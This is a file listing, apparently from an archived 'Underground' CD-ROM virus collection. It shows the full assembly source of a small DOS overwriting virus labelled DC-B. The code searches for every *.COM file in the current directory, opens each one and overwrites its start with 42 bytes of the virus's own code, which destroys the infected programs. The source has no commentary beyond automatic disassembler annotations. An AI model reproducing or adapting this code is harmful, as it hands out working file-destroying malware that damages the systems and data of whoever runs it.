home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dc-b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.3 KB  |  56 lines
  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    DC-B                         ██
  7. ;██                                         ██
  8. ;██      Created:   26-Dec-91                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_009E_e    equ    9Eh
  14.  
  15. seg_a        segment    byte public
  16.         assume    cs:seg_a, ds:seg_a
  17.  
  18.  
  19.         org    100h
  20.  
  21.  
  22. start:
  23.         mov    ah,4Eh            ; 'N'
  24.         mov    dx,offset data_0124
  25.         int    21h            ; DOS Services  ah=function 4Eh
  26.                         ;  find 1st filenam match @ds:dx
  27. loc_0107:
  28.         mov    ax,3D01h
  29.         mov    dx,data_009E_e
  30.         int    21h            ; DOS Services  ah=function 3Dh
  31.                         ;  open file, al=mode,name@ds:dx
  32.         xchg    ax,bx
  33.         mov    ah,40h            ; '@'
  34.         mov    cl,2Ah            ; '*'
  35.         mov    dx,100h
  36.         int    21h            ; DOS Services  ah=function 40h
  37.                         ;  write file  bx=file handle
  38.                         ;   cx=bytes from ds:dx buffer
  39.         mov    ah,3Eh            ; '>'
  40.         int    21h            ; DOS Services  ah=function 3Eh
  41.                         ;  close file, bx=file handle
  42.         mov    ah,4Fh            ; 'O'
  43.         int    21h            ; DOS Services  ah=function 4Fh
  44.                         ;  find next filename match
  45.         jnc    loc_0107        ; Jump if carry=0
  46.         retn
  47. data_0124    db    2Ah
  48.         db     2Eh, 43h, 4Fh, 4Dh, 00h
  49.  
  50.  
  51. seg_a        ends
  52.  
  53.  
  54.  
  55.         end    start
  56.